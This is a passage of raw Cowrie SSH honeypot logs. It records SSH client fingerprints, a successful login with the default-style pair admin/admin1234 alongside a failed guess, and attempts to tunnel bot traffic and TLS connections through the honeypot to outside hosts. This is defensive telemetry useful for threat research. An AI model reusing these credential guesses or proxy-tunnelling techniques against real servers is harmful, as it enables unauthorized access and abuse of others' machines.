","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:55.992446Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.196324Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammed","password":"mohammed","message":"login attempt [mohammed/mohammed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.449434Z","src_ip":"91.92.40.36","session":"156129fd8b1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.648772Z","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":51732,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ec2342c450","protocol":"ssh","message":"New connection: 27.71.230.31:51732 (159.203.135.109:22) [session: 34ec2342c450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.663183Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.718001Z","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:57.756301Z","src_ip":"27.71.230.31","session":"34ec2342c450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:58.107166Z","src_ip":"27.71.230.31","session":"34ec2342c450","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:58.974864Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JlNmZ1heVHk5eVgyKDZvbA%3D%3DGJyCNnk0LmGx74l3CIUlMP%2BvOcQJJcAMb4opUGMcHdnAwk5zWUYRwo8lKIzhEn4%2FaGpXQalWd4ZfygUQipL%2B7BDFWa6mewR%2B4pHiMBlCQLgBR9vav0Ah4xc%2Fj0IFHiJa6R1Pn4h1%2FRdltIGF01vyhrHHcjFhp675blw%2F7PYWbRjQEy459Lus76i6AwCb8lZXFtPKkw4xJQhc50f2Ue4z6q05WP9hQAZe%2Fjb3O9G5s9HBZXWzEX8G9ZUA3juLqOQpukg0FNdum0FwRN4VGrRNLGNxg6iit4x%2BDS0rMfqOFPQZSLrpDJfN5UbkaauAbFQ2XB5YdXQ7OgkP3j815qsvK0qtfrm3EL2RgU7Ny%2F6gjH2yrGT6KnCu9kUuztDRsIQVdlnK5wnZXJx9dCtMgRpRvpp2ZcZbDBl1NdFcNW3T8vcFLQC7TxoLqPQNqbmRNNedjBuVuOFOtJcdzN1ZT%2BEMmKEj0GW%2FPbHs7Mb0gyL1rC11yaX72ujAY33qyNs4ktsaMNFxO5ACPJ7O7FU6rSpDGS8fSWTEWKohe7DdEFQ%2B2hR9Yf3dSRzYJ0mcdgwZyYsXbGsaRapPzTY2B1BL%2FZUDSO5hjdVgHGhbUbqKmF5bm8FqyLCchigMffmqC6Gu152tyDQrUwvJkQqjEpnQr9wJyFWEyHy1ZbZfbRjwq0wDnwvpTLmbmZNvNzTTFJC9mr52QYPmwHdFL%2Fw%2BdMgTToCA0gPa%2Fm%2F0yn%2FgWfMhjYMxSfTsoYt8z16jqRE5Vj9W4OTvk7yzLBCoA8g9wdmqan1lG0%2FZ8cfwvzVbxKjq8ylfigoZL08rWLgOMxjv%2FsnZIR35zzNgwAC2mOvT8lGckDxj8n7n0HkGZRk%2BlfTEErL%2B2Ys3%2BX6zeb9U%2FCQOlcX%2B7Ne%2FF1lKw3hQiQsLMFOuvxTVKDU8QxC%2BvK%2FC6h6%2BNWniBraLDqjSEIL5QTKAW4rKHcQ%2FmM4KB1YSL2YiR17wztcuBqC4hEVycvKVWhUe2%2B29FWLDb3jB7Asc9Sk%2FUsbw5v8AbASxOm%2Fm85b1Ve9X%2F7lKcV%2BXAz87gFiYI99FYf76QMDvhvm5WrNmmbpnkFpWOOAg'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JlNmZ1heVHk5eVgyKDZvbA%3D%3DGJyCNnk0LmGx74l3CIUlMP%2BvOcQJJcAMb4opUGMcHdnAwk5zWUYRwo8lKIzhEn4%2FaGpXQalWd4ZfygUQipL%2B7BDFWa6mewR%2B4pHiMBlCQLgBR9vav0Ah4xc%2Fj0IFHiJa6R1Pn4h1%2FRdltIGF01vyhrHHcjFhp675blw%2F7PYWbRjQEy459Lus76i6AwCb8lZXFtPKkw4xJQhc50f2Ue4z6q05WP9hQAZe%2Fjb3O9G5s9HBZXWzEX8G9ZUA3juLqOQpukg0FNdum0FwRN4VGrRNLGNxg6iit4x%2BDS0rMfqOFPQZSLrpDJfN5UbkaauAbFQ2XB5YdXQ7OgkP3j815qsvK0qtfrm3EL2RgU7Ny%2F6gjH2yrGT6KnCu9kUuztDRsIQVdlnK5wnZXJx9dCtMgRpRvpp2ZcZbDBl1NdFcNW3T8vcFLQC7TxoLqPQNqbmRNNedjBuVuOFOtJcdzN1ZT%2BEMmKEj0GW%2FPbHs7Mb0gyL1rC11yaX72ujAY33qyNs4ktsaMNFxO5ACPJ7O7FU6rSpDGS8fSWTEWKohe7DdEFQ%2B2hR9Yf3dSRzYJ0mcdgwZyYsXbGsaRapPzTY2B1BL%2FZUDSO5hjdVgHGhbUbqKmF5bm8FqyLCchigMffmqC6Gu152tyDQrUwvJkQqjEpnQr9wJyFWEyHy1ZbZfbRjwq0wDnwvpTLmbmZNvNzTTFJC9mr52QYPmwHdFL%2Fw%2BdMgTToCA0gPa%2Fm%2F0yn%2FgWfMhjYMxSfTsoYt8z16jqRE5Vj9W4OTvk7yzLBCoA8g9wdmqan1lG0%2FZ8cfwvzVbxKjq8ylfigoZL08rWLgOMxjv%2FsnZIR35zzNgwAC2mOvT8lGckDxj8n7n0HkGZRk%2BlfTEErL%2B2Ys3%2BX6zeb9U%2FCQOlcX%2B7Ne%2FF1lKw3hQiQsLMFOuvxTVKDU8QxC%2BvK%2FC6h6%2BNWniBraLDqjSEIL5QTKAW4rKHcQ%2FmM4KB1YSL2YiR17wztcuBqC4hEVycvKVWhUe2%2B29FWLDb3jB7Asc9Sk%2FUsbw5v8AbASxOm%2Fm85b1Ve9X%2F7lKcV%2BXAz87gFiYI99FYf76QMDvhvm5WrNmmbpnkFpWOOAg'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:58.978105Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:58.983262Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82o\\xc3\\x94t\\xf4\\xf56G\\x16\\xb6%X\\xc6\\xcc\\x92\\xd0\\x91\\x16\\x14\\xbb\\x12\\xb0Q\\xfc\\xe5P\\x82\\x0b\\xa9\\xe6g TI|\\xe2\\xcd\\xc3\\x8c\\xdd\\xcd\\x1f)\\xc0\\xb5\\x91\\xbb\\x7f\\xd3\\xaf\\xd8\\xe91n\\x85[\\x90O\\xa7|\\xd6\\x1e\\x84\\xfc\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xa5\\xaa\\xd9eH\\xd2\\xf2.{\\xa1aq\\x0b\\x05\\xb6,\\xc9J7tt\\xaf\\x05\\xdc\\xb4\\x9f\\xd6\\xb6C\\xecO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82o\\xc3\\x94t\\xf4\\xf56G\\x16\\xb6%X\\xc6\\xcc\\x92\\xd0\\x91\\x16\\x14\\xbb\\x12\\xb0Q\\xfc\\xe5P\\x82\\x0b\\xa9\\xe6g TI|\\xe2\\xcd\\xc3\\x8c\\xdd\\xcd\\x1f)\\xc0\\xb5\\x91\\xbb\\x7f\\xd3\\xaf\\xd8\\xe91n\\x85[\\x90O\\xa7|\\xd6\\x1e\\x84\\xfc\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe6\\xa5\\xaa\\xd9eH\\xd2\\xf2.{\\xa1aq\\x0b\\x05\\xb6,\\xc9J7tt\\xaf\\x05\\xdc\\xb4\\x9f\\xd6\\xb6C\\xecO\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:58.985804Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:59.275837Z","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:59.431909Z","src_ip":"91.92.40.36","session":"156129fd8b1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:59.561761Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd73\\xf1\\x9a\\xbc\\xebe\\x06\\x88\\x14\\xb7\\x17\\xc4$\\xfc\\xf5\\xcb\\xe8\\xc5\\xbe\\x94TuJ\\xe95\\xd6~\\x96\\x04\\x18\\xa4 \\x99\\xd3\\x04^2\\x05Er\\x19\\xbeE\\x87\\x9a\\xad\\xdf\\x87\\xaa\\xcb\\xea\\xb7n\\xfa\\x8c7F\\x81\\xc28\\x17\\xb4\\xb4\\xec\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa9\\x9e\\x85\\xbc\\x90)C\\xb5q\\x06\\x88\\x02\\xb9}vE\\x1fL}V\\xc6\\xe5\\xae`\\x8eN&}\\x8bi\\xfd*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd73\\xf1\\x9a\\xbc\\xebe\\x06\\x88\\x14\\xb7\\x17\\xc4$\\xfc\\xf5\\xcb\\xe8\\xc5\\xbe\\x94TuJ\\xe95\\xd6~\\x96\\x04\\x18\\xa4 \\x99\\xd3\\x04^2\\x05Er\\x19\\xbeE\\x87\\x9a\\xad\\xdf\\x87\\xaa\\xcb\\xea\\xb7n\\xfa\\x8c7F\\x81\\xc28\\x17\\xb4\\xb4\\xec\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa9\\x9e\\x85\\xbc\\x90)C\\xb5q\\x06\\x88\\x02\\xb9}vE\\x1fL}V\\xc6\\xe5\\xae`\\x8eN&}\\x8bi\\xfd*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:59.564442Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:59.923325Z","src_ip":"113.164.152.20","session":"bc0a3a7c8fd5","protocol":"ssh"}
